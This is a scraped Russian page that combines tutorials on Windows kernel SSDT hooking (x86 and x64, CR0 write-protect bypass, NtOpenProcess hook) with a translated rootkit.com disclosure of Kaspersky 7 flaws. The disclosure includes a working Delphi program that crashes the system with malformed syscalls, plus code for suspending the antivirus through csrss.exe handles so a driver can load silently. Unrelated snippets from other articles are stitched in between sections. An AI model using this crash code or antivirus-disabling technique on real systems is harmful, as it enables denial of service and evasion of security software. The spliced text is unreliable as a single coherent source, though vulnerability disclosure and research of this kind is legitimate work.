Ssdt hook что это
Русские Блоги
SSDT_Hook технологии x64
SSDT_Hook технологии x64
тестовая среда:
Виртуальная машина: Windows 7 64bit
Инструмент загрузки диска
Калькулятор и диспетчер задач включены в систему
Идеи реализации:
Фактическая идея такая же, как и у win32. Обе заменяют адрес функции в таблице SSDT. Но Microsoft испугалась и пошла на хитрости с x64.
1. Получите базовый адрес таблицы системных служб.
2. Сохраните адрес функции, которой требуется перехватчик (фактически смещение).
3. Сделайте память доступной для записи, замените адрес Hook в таблице на адрес KeBugCheckEx и восстановите атрибуты памяти.
4.HookKeBugCheckEx, jmp на адрес нашей функции в начале.
5. Реализую самостоятельно функцию Hook и выполняю в ней обработку.
Адрес функции x64 для Hook: ServiceTableBase [индекс] >> 4 + ServiceTableBase
Здесь перехватывается NtOpenProcess, и порядковый номер экспорта равен 35. Когда процесс калькулятора завершается, завершать его запрещено.
При восстановлении Hook нет необходимости восстанавливать KeBugCheckEx, потому что эта функция должна выполняться при сбое синего экрана.
В этой статье мы не будем говорить о PG.
Ключевой код:
Получить базовый адрес сервисной таблицы
Получить адрес функции в таблице SSDT
HookKeBugCheckEx как прыжок
Эффект теста:
После PG загрузите драйвер, воспользуйтесь диспетчером задач, чтобы завершить сбой программы «калькулятор» и запросить «Доступ запрещен»
PCHunter64, и вы увидите, что драйвер перехватывает функцию NtOpenProcess.
PS: Техническое содержание блога слишком велико. Я чувствую, что эти ямы трудно заполнить. Постарайтесь изо всех сил и постарайтесь изучить все технические аспекты. Но есть также вещи, которые нужно сделать, заполните ямы Скорость точно не быстрая.
Интеллектуальная рекомендация
Многослойная презентацияViewController Jap
Распечатать список с конца до головы
В случае, когда таблица цепи не может изменять дисплей, данные хранения стека могут рассматриваться с рекурсивным методом. Разрешить модификацию структуры ссылки.
Типы данных и переменные
тип данных Компьютерная программа может обрабатывать различные значения. Однако компьютеры могут обрабатывать гораздо больше, чем числовые значения. Они также могут обрабатывать различные данные, таки.
оглавление 1. Одно место 2. Случайное расположение 3. Добавьте баллы для оценки 4. Получение файла 5. Установите уровень сложности. 6. Срок завершения 7. Выберите заполнение пропусков. 1. Одно место Н.
Русские Блоги
Детали модификации таблицы ssdt
Подробное объяснение и применение технологии SSDT Hook
1. Введение в SSDT
1. Что такое SSDT
2. Структура SSDT
На следующем рисунке представлена структура KeServiceDescriptorTable, экспортированная из ntoskrnl.exe, проанализированная IDA.
Ниже приводится конкретное значение KeServiceDescriptorTable.
3. Полный процесс выполнения прикладного уровня, вызывающего Win32 API.
Используя вышеупомянутую основу SSDT, давайте рассмотрим полный процесс вызова Win32 API (здесь в основном относится к API в ntdll.dll) на уровне приложения. Здесь мы в основном анализируем NtQuerySystemInformation API в ntdll.dll Назовите процесс.
(PS: Диспетчер задач Windows использует этот API для получения информации о процессах системы и т. Д.).
Затем дайте базовый процесс вызова этих API
Давайте посмотрим на ZwQuerySystemInformation в ntoskrnl.exe:
На скриншоте выше вы можете видеть, что ZwQuerySystemInformation под Ring0 помещает 0ADh в регистр eax, а затем вызывает функцию распределения системных служб KiSystemService, и эта функция KiSystemService основана на значении индекса в регистре eax, а затем Затем найдите элемент SSDT, значение индекса которого хранится в регистре eax в массиве SSDT, и, наконец, вызовите системную службу в соответствии с адресом системной службы, хранящимся в этом элементе SSDT. Например, здесь можно вызвать системную службу, соответствующую адресу, сохраненному в KeServiceDescriptorTable [0ADh]. То есть вызывается NtQuerySystemInformation под Ring0. На этом весь процесс вызова NtQuerySystemInformation на уровне приложения завершен.
Во-вторых, принцип SSDT Hook
1. Введение в принцип SSDT Hook
Используя приведенную выше часть основы, вы можете взглянуть на принцип SSDT HOOK. На самом деле, принцип SSDT Hook очень прост. Из приведенного выше анализа мы можем узнать, что массив SSDT хранит системные службы Адрес, например адрес системной службы NtQuerySystemInformation в Ring0, сохраняется в KeServiceDescriptorTable [0ADh]. Поскольку это Hook, мы можем заменить адрес службы, сохраненный в KeServiceDescriptorTable [0ADh], и заменить наш собственный Hook Замените исходный адрес на адрес функции обработки, чтобы наша собственная функция обработки Hook вызывалась каждый раз при вызове KeServiceDescriptorTable [0ADh].
Снимок экрана ниже перед SSDT Hook:
Снимок экрана ниже после SSDT Hook, вы можете видеть, что адрес службы в SSDT был изменен на MyHookNtQuerySystemInformation. В этом случае каждый раз, когда система вызывает системную службу NtQuerySystemInformation, она по существу вызывает MyHookNtQuerySystemInformation, и мы хотим, чтобы система Стабильность системы (по крайней мере, чтобы не дать ей сбой), исходная служба в системе обычно вызывается в MyHookNtQuerySystemInformation, то есть NtQuerySystemInformation.
Давайте посмотрим на конкретный код для резервного копирования, изменения и восстановления SSDT:
Русские Блоги
SSDT-HOOK
SSDT-HOOK процесс защиты
Экспериментальная среда: виртуальная машина win7
В этом примере выполняется SSDT-HOOK на уровне ядра для реализации функции защиты процесса.
Но на самом деле система имеет 4 дескриптора системных сервисов, 2 из которых являются двумя вышеупомянутыми таблицами, а остальные 2 не используются и могут быть зарезервированы для будущего использования. Они представлены следующей структурой:
Набери номер
При входе в кольцо 0 номер вызова передается с помощью eax, но этот номер вызова не является просто обычным номером в качестве порядкового номера. Система будет использовать 32-битные данные для его представления и разделения в формате 19: 1: 12 следующим образом:
Проанализируйте младшие 12 битов 0-11, чтобы сформировать действительный индексный номер, 12-й бит представляет номер таблицы услуг, а 13-31 биты не используются.
После входа в ядро вызываемая таблица определяется 12-м битом номера вызова. Если он равен 0, будет вызвана таблица SSDT, а если 1, то будет вызвана таблица ShadowSSDT.
Если вы хотите перехватить таблицу SSDT, вы должны сначала найти таблицу SSDT, которую можно найти через служебную таблицу. Сервисная таблица существует в поле со смещением 0xbc структуры KTHREAD. Для просмотра вы можете использовать windbg для отладки на двух компьютерах, введите dt _kthread Затем найдите поле со смещением 0xbc
По-прежнему необходимо объяснить, что структура KTHREAD недокументирована, поэтому данные в ней могут отличаться в зависимости от версии системы. Смещение каждого поля может быть разным, поэтому перед использованием лучше использовать windbg. Подтвердите необходимое смещение поля.
Используйте функцию PsGetCurrentThread (), чтобы получить первый адрес текущего KTHREAD.
Но следует отметить, что атрибут страницы памяти, на которой расположена таблица SSDT, доступен только для чтения и не имеет разрешения на запись, поэтому нам нужно сделать адрес доступным для записи, чтобы вместо этого мы могли писать себе Функция.
Я использую регистр CR0, чтобы закрыть атрибут только для чтения
кратко представьте регистр CR0:
Как видите, здесь используется 32-битный регистр, а в регистре CR0 мы сосредоточены на трех битах флага:
Если PE включает режим защиты, установите для него значение 1, чтобы включить его.
Независимо от того, использует ли PG режим подкачки, для включения режима подкачки установите значение 1. Если этот флаг установлен на 1, флаг PE также должен быть установлен на 1, в противном случае ЦП сообщает об исключении.
WP Когда WP равен 1, страницы памяти только для чтения не могут быть изменены, а когда WP равен 0, страницы памяти только для чтения могут быть изменены.
Итак, при выполнении HOOK, пока позиция WP в регистре CR0 равна 0, в память можно записывать.
Код операции следующий
Конечно, вы должны вернуть атрибут защиты только для чтения после использования, иначе это приведет к непредсказуемым серьезным последствиям.
На основе приведенного выше анализа теперь вы можете написать код для установки перехвата ядра:
Взгляните на функцию MyZwOpenProcess, написанную вами, найдите процесс, который нужно защитить, сравнив PID, и при доступе с разрешением конечного процесса PROCESS_TERMINATE (0x1) измените разрешение на 0, чтобы сделать его недоступным. Для достижения цели защиты процесса.
Русские Блоги
Технология HOOK: SSDT HOOK (x86)
Перед выполнением SSDT Hook мы должны сначала понять концепцию и функцию SSDT.
SSDT:
Таблица дескрипторов системных служб, которая является KeServiceDescriptorTable в ядре. Эта таблица является связующим звеном между Win32 API для ring3 и API ядра для ring0. SSDT не только содержит огромную таблицу индексов адресов, но также содержит некоторую другую полезную информацию, такую как базовый адрес индекса адреса и количество сервисных функций.
(После того, как функция API уровня Ring3 входит в уровень ядра, каждый номер вызова соответствует функции ядра. По этой причине Windows разработала таблицу, в которой номер вызова используется в качестве серийного номера для поиска функции. Ядро Windows вызывает эту таблицу адресов функций: Таблица дескрипторов системной службы (SSDT)
Структура таблицы SSDT следующая:
0x00 Принцип реализации
Нам известна роль таблицы SSDT, приведенной выше, поэтому мы хотим выполнить SSDT HOOK, пока мы находим реальный адрес реализации функции в соответствии с индексом, а затем заменяем этот адрес функции на адрес нашей собственной функции, мы можем завершить HOOK. Например, мы знаем, что индекс ZwOpenProcess равен 0xbe, мы можем найти адрес функции через 0xbe, а затем изменить ловушку.
Используйте рассказ из книги Путешествие на Запад, чтобы проиллюстрировать функцию SSDT HOOK:
0x01 процесс реализации
1. Найдите адрес функции по индексу.
2. Сохраните исходный адрес функции (потому что, когда драйвер удаляется, мы должны восстанавливать его снова)
3. Замените адрес собственным адресом функции.
Сначала мы используем индекс 0BEh, чтобы найти функцию ZwOpenProcess.
Затем найдите соответствующий адрес функции в таблице SSDT.
Затем замените адрес на адрес функции, реализованной вами:
Метод изменения атрибута защиты от записи в память следующий:
Черные ходы Касперского 6/7
Перевод статьи с сайта rootkit.com
Преамбула
Антивирус Касперского — один из наиболее технически развитых антивирусов на сегодняшний день. Он даже может бороться с некоторыми типами руткитов, даже когда они живы и пытаются атаковать.
Он имеет Модуль Проактивной Защиты (Proactive Defence), представляющий из себя частичную реализацию HIPS, способную, в теории, защитить компьютер от неизвестных угроз, анализируя поведение программ и предотвращая несанкционированные действия.
Это всё теория и рекламные слоганы. В реальности же мы имеем совсем другую ситуацию. Существует много руткитов, которые вообще не обнаруживаются антивирусом, а его проактивная защита может быть подавлена таким образом, что атакующий может загрузить свой драйвер, после чего любая проактивная защита просто бесполезна.
Эта статья — не просто обзор ошибок и уязвимостей — в конце каждой части мы даём рекомендации разработчикам антивируса, потому что мы видим, что они не могут разобраться с этими ошибками самостоятельно. И для приверженцев сразу оговорка: конечно, все, что написано ниже — не критические уязвимости, нет-нет =) Всего лишь несколько простых методов получить BSOD при установленном KAV/KIS даже из под гостевого аккаунта, всего лишь методы обхода KAV/KIS… и так далее, в общем не принимайте слишком близко к сердцу.
Версия Касперского, про который пойдёт речь в этой статье — 7.0, последний публичный билд 125, тип продукта — Internet Security.
Касперский и System Service Descriptor Table
Эта часть антивируса давно известна, как самая уязвимая. Таковой она является из-за того, что содержит множество элементарных ошибок. Ошибки эти — ещё один пример плохо написанной проактивной защиты.
Под Windows XP Антивирус Касперского добавляет службы в таблицу SSDT. Множество служб, которые существуют лишь под Windows 2003. Их номера — от 284 до 296. Около 13 неизвестных записей с адресами внутри klif.sys.
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
Что это? Совершенно непонятно. Однако похоже, что разработчики KAV добавляют их, чтобы решить проблему с разным количеством записей в таблице SSDT под Windows XP и 2003. Почему это было сделано именно так — вопрос третий.
А теперь внимание: любая из этих записей может быть взломана с последующим крахом системы в BSOD даже из под гостевой учётной записи с минимальными привилегиями. Мы написали маленькую программу. Она генерирует некорректные системные вызовы с некорректными параметрами для этих таинственных записей в SSDT. Код очень простой, но эффективный. Выполнение его на чистой Windows не приведёт ни к чем, потому что сама Windows обрабатывает такие ситуации верно.
var
Services: array[0..12] of ULONG;
ThreadTerminated: boolean = false;
ExecThread: THANDLE;
function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
mov eax, SysCallNumber
mov edx, Stack
int 2eh
mov Result,eax
end;
function exec(p1: pointer): DWORD; stdcall;
var
i: integer;
p2: DWORD;
p3: DWORD;
begin
randomize();
u := 0;
for i := 0 to 12 do Services[i] := 284 + i;
while not ThreadTerminated do
begin
p2 := random($FFFFFFFF);
p3 := Services[random(12)];
MakeSysCall(p3, @p2);
Sleep(100);
end;
CloseHandle(ExecThread);
ExecThread := 0;
result := 0;
end;
var
p2: DWORD;
begin
ThreadTerminated := false;
ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;
Результат выполнения: Kaspersky Internet Security v7.0 125 build
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Но и это еще не всё!
Не смотря на сообщения о существующих уязвимостях в SSDT разработчики Касперского до сих пор не исправили их!
Мы можем доказать это простой программой под названием NTCALL. После старта она начинает генерировать некорректные системные вызовы.
NtCreateSection — вызов этой функции с неверными параметрами приведет к BSOD в klif.sys.
Вот он наш BSOD:
KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but…
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 805883ea, The address that the exception occurred at
Arg3: f669a95c, Trap Frame
Arg4: 00000000
Что тут можно сказать. Пора прекращать извращаться с SSDT и писать нормальные обработчики для записей SSDT. Возьмите лучше и спросите Олега Зайцева, как правильно устанавливать хуки в SSDT 😉
Касперский и Теневая SSDT (Shadow SSDT)
Теневая SSDT — это специальная таблица в win32k.sys, которая содержит адреса системных функций, связанных с отображением пользовательского графического интерфейса (GDI). Касперский устанавливает здесь хуки на некоторые службы чтобы предотвратить работу клавиатурных шпионов и для самозащиты.
И опять же хуки установлены плохо.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)
Для этой части рекомендации просты — запустите свой драйвер под отладчиком.
ведёт к Acces Violation и это нормально, потому что мы использовали некорректный параметр для функции, но то что НЕнормально — это где возникает Acess Violation, по адресу — 0xF80B3306.
Это не шутка — 0xF80B3306. В процессах ядра! А если быть точнее — в klif.sys.
Давайте посмотрим, что происходит.
Мы обнаружили сильную модификацию IAT(1, 2) для каждого процесса в системе. Смотрите что происходит с explorer.exe
[420]explorer.exe—>kernel32.dll—>LoadLibraryExA, Type: IAT Modification at address 0x010010A8—>7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryExW, Type: IAT Modification at address 0x010010F8—>7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryA, Type: IAT Modification at address 0x01001150—>7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryW, Type: IAT Modification at address 0x010011D0—>7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>GetProcAddress, Type: IAT Modification at address 0x010011E4—>7C882FEC hook handler located in [kernel32.dll]
Странно, не так ли? Давайте отследим вызов LoadLibraryA.
push ebp
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a //- перенаправление в klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Если вы инсталлируете этот антивирус себе на компьютер, вы (какая ирония!) открываете его для дополнительных уязвимостей и бэкдоров, созданных благодаря Антивирусу Касперского! Смех, да и только.
Антивирус Касперского и самозащита
Как большинство из вас знает, Антивирус Касперского активно защищает самого себя против атак. Его процессы защищены от несанкционированного доступа и от уничтожения зловредными программами. Но вопрос: насколько хорошо они защищены?
Касперский устанавливает несколько хуков в SSDT (т.е. NtOpenProcess, NtOpenThread, NtTerminateProcess и т.д) и несколько хуков в Теневой SSDT (NtUserFindWindowEx, NtUserBuildHwndList и т.д.) чтобы дополнительно защитить себя от атак.
Ответ прост — загрузить драйвер, после этого мы будем вне зоны интересов KAV. Но сначала нам нужно его приостановить, чтобы получить такую возможность, не правда ли? Не совсем. Существует как минимум три метода, с помощью которых можно тихо загрузить драйвер без малейшей реакции со стороны Проактивной Защиты Касперского 7.0. И я уверен что существуют еще методы. В нашем случае мы просто приостановим (suspend) все потоки (threads) процессов Антивируса Касперского; просто приостановим, ничего более — этого достаточно.
Мы не можем обращаться к процессам Касперского напрямую, потому что владельцем SSDT является PDM. Так что самое время использовать «любимый» бэкдор-процесс по имени csrss.exe 🙂
В этом примере мы априори предполагаем что KAV приложение названо avp.exe и csrss.exe существует в одном экземпляре (LOL, да, если у вас есть вредоносные программы, работающие на ring3 и маскирующиеся как csrss.exe, то с этим кодом будут определённые проблемы).
…
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
…
if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;
…
ZwAllocateVirtualMemory(GetCurrentProcess(), buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
весь текст программы.
После этого оба испольняемых модуля Касперского будут приостановлены и мы можем загрузить драйвера и сделать свою работу тихо =)
Протестировано на KIS v7.0 build 125 с настройками по умолчанию.
Windws XP SP2, права администратора.
Мы рекомендуем ЛК пройти в HANDLE_TABLE и изменить права доступа для хендлеров своих процессов. Плюс самое время улучшить хук на NtDuplicateObject.
Вы наверное сейчас спрашиваете себя, почему такие очевидные ошибки — действительно чёрные ходы до сих пор существуют в одном из самых популярных антивирусов? Да потому что кто-то должен хорошенько дать под зад Лаборатории Касперского.
Дорогие разработчики Лаборатории Касперского, ваш антивирус весьма хорош, об этом спору нет, но возможно пришло время поправить эти баги? Убрать извращения с SSDT/IAT. Тщательнее обработывать критические ситуации в своём драйвере. Нет серьёзно, а что не так? Смотря на klif.sys я вижу только одно — большой, глючный драйвер.
Кстати, в некотором роде неофициальную реакцию от Лаборатории Касперского на наш предыдущий обзор klif.sys вы можете прочитать в этой чудесной статье, которая содержит несколько абсурдных утверждений и не несущих смысла комментариев. В нескольких словах: автор этой статьи частично обвинил нас в публикации информации про уязвимости в их старых и новых продуктах.
Статья на русском, но я уверен вы сможете найти английский вариант.
Have fun,
от VX heavens
EP_X0FF/UG North
smartov: Цитата из статьи, про которую они говорят в конце
В последние годы чрезвычайно актуальна следующая ситуация. Некто из среды киберпреступников (или «исследователей», прикрывающихся белыми шляпами) разрабатывает концепт кода, обходящего современные средства защиты, и в целях самопиара, замаскированного под заботу о прогрессе, публикует его как «недетектируемый». Подчеркнем: разумеется, на деле такой концепт является не принципиально недетектируемым, а недетектируемым на уровне одно-двухшагового обхода известных функций средств защиты. Сделать такой одношаговый обход достаточно просто, если известны механизмы защиты.
Подобные публикации заставляют беспокоиться определенный процент пользователей, не знакомых с принципами работы вредоносных программ и антивирусов («А защищает ли мое антивирусное средство от этого нового типа угроз?). В такой ситуации производителям средств защиты остается только бросить долю ресурсов на восстановление своего авторитета: на разработку технологий обхода описанного концепта, обычно таких же, как и сам концепт — одношаговых. В итоге авторитет восстанавливается (а как же иначе?), система «вредоносная программа — антивирус — пользователь» приходит в изначальное состояние, и процесс замыкается в цикл. Каждая новая его итерация порождает все более изощренные вредоносные программы и все более тяжеловесные средства защиты.
Как было в КВН: «Отличный план!». Такие себе бяки публикуют уязвимости, а из-за этого бедным-несчастным производителям антивирусов приходится оторваться от стрижки капусты разработки нового улучшенного пользовательского интерфейса и заняться их устранением.